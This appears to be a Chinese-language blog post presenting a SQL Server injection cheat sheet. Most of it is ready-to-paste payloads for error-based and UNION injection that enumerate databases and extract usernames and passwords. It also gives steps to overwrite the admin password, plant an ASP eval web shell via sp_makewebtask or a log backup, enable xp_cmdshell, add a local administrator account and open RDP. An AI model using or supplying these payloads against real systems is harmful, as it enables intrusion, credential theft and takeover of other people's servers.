SQL注入之SQL server
程序员文章站
2024-03-15 17:41:42
...
基础知识
1.SQL server是微软推出的关系型数据库,所以SQL server只能搭配Windows服务器使用;
2.SQL server数据库一般搭配的脚本语言为asp或aspx;
3.SQL server默认端口:1433
4.SQL server数据库以文件形式存在,文件后缀:
①xxx.mdf(数据库文件后缀)
②xxx.ldf(数据库日志文件后缀)
5.权限划分:
注入利用
一、显错注入
1.数据库信息获取:
① 判断注入:通过修改URL参数判断是否将参数带入到数据库执行,如果有带入。即表示目标可能存在sql注入漏洞
②判断数据库类型:
And (select count(*) from sysobjects)>0 # mssql数据库
And (select count(*) from msysobjects)>0 # access数据库
③读取mssql信息:
and (1=select @@version) # 报错读取数据库版本
#直接aaa@qq.com@version也能读取数据库版本
and 1=(select db_name()) //报错读取数据库名
#直接?id=db_name()也能读取数据库名
2.数据获取
①获取数据库名称
And 1=(select top 1 name from master..sysdatabases where dbid>4)
//查询第一个数据库名。dbid>4是排除SQL server数据库自带的4个系统数据库
And 1=(select top 1 name from master..sysdatabases where dbid>5)
//根据这个原理,通过修改dbid序号依次读取所有数据库名称
And 1=(select top 1 name from master..sysdatabases where dbid>4 and name <>'数据库名')
//添加条件排除获取到的数据库名称来读取下一个数据库名,效果和dbid>5相同
And 1=(select name from master..sysdatabases for xml path)
//以xml格式列出所有数据库名
② 获取表名
And 1=(select top 1 name from sysobjects where xtype='u')
//返回表名newss
And 1=(select top 1 name from sysobjects where xtype=’u’ and name <>'newss')
//爆出另外一个表名。在后面不停and name <>'表名',即可依次获取所有表名
And 1=(select name from sysobjects for xml path )
//以xml格式获取所有表名,但是无法指定数据库。无法判断表所属库
③获取列名
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'newss'))
//获取newss表下第一列。and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'newss')and name <>'id')
//获取newss表下排除id列的第一列。依次往下套娃,可获取所有字段名称
④获取字段内容
and 1=(select top 1 username from newss)
and 1=(select top 1 password from newss)
//读取字段username,password第一列内容
and 1=(select top 1 username from newss where username <> 'admin')
//带条件读取其他行的内容
and 1=(select username from newss where id =2)
//也可以通过操控id值读取其他行的数据
二、union注入
①判断字段数
order by 5--
//这里--是单行注释符,也可以写做#,根据回显判断当前表字段数为4(执行结果)
② 找到可以进行注入的字段
UNION SELECT null,null,null,null
//返回正常
UNION SELECT 1,null,null,null
//返回正常,说明第一列是数字型
UNION SELECT null,2,null,null
//报错,说明第二列是字符列。这样就可以在第二列进行注入
③获取库信息
UNION SELECT null,db_name(),null,null
UNION SELECT null,@@version,null,null
UNION SELECT null,@@servername,null,null
④查询表名
UNION SELECT null,(select top 1 name from sysobjects where xtype='u'),null,null
//当前表名
UNION SELECT null,(select top 1 name from sysobjects where xtype='u' and name <>'newss'),null,null
//套娃获取其他表名
⑤获取列名
UNION SELECT null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='newss') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='newss'))),null,null
//指定表newss名列第一列列名
UNION SELECT null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='newss') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='newss'))),null,null
//指定表newss名列第二列列名
⑥列数据
UNION SELECT null,username,password,null from newss
//查询newss表下username,password字段所有内容。//这里因为第三列也是字符型列,如果不是就要将username,password字段分开查询
UNION SELECT null,username,null,null from newss where username not in (select top 0 username from newss)
//有时候直接跟表名无法查询可以用这个语句
SA提权
① 权限判断
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
②修改管理员密码
;update newss set password='49ba59abbe56e057' where username='admin'
//将管理员表admin中admin用户的密码设置为123456,修改之前把原来密码备份,操作完成后修改回来
//通常在密码解不出又需要进管理员后台的情况下选择使用该方法
③直接getshell
;exec sp_makewebtask 'C:\inetpub\sql_inject\sqlserver 注入点\x1.asp','select''<%eval(request("cmd"))%>'''--
//根据报错信息找到网站物理路径写入一句话
;EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
;exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
//如果报错:找不到存储过程 'sp_makewebtask'。需要恢复sp_makewebtask存储过程再写入一句话
#如果目标是server2008及以上sp_makewebtask 这个存储过程就取消了无法再恢复
④调用系统命令
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
//判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
//判断xp_regread扩展存储过程是否存在
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
//恢复xp_cmdshell:
;exec master..xp_cmdshell 'net user test 123.com /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
// 新建用户,注意SQL server2008及之后版本需要强口令。如果sa被降权则无法创建用户
⑤开3389
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
//允许外部连接开启3389
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'
//改端口到80
;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--
//利用dos命令开启3389
dbowner提权
//找到web目录后,就可以写入一句话木马了
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str)values ('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple
工具输入注入点和物理路径,直接拿shell。一步到位:
=========================================================
上一篇: linux 编程基础知识小结
下一篇: JAVA 类与对象 例题4
推荐阅读
-
SQL注入之SQL server
-
SQL SERVER 查询表字段信息SQL脚本
-
错误SQL Server统计信息– SQL查询性能杀手–更新SQL Server统计信息
-
SQL Server按5分钟分组统计数据
-
[一起学Hive]之十二-Hive SQL的优化 博客分类: hive 一起学hivehive优化
-
数据库基础入门(四)— — 产品功能实现之数据库架构与用户登录注册 博客分类: 数据库相关 数据库产品架构用户登录用户注册sql
-
Demo_JDBC_实现一个用户登陆的功能并改进sql的注入问题
-
SQL Server 2008 R2 中英文 开发版/企业版/标准版 链接地址 博客分类: SqlServerasp.net sql2008R2下载sql2008R2完整版下载地址
-
SQL Server 2008 R2 中英文 开发版/企业版/标准版 链接地址 博客分类: SqlServerasp.net sql2008R2下载sql2008R2完整版下载地址
-
关于sql注入的一些小结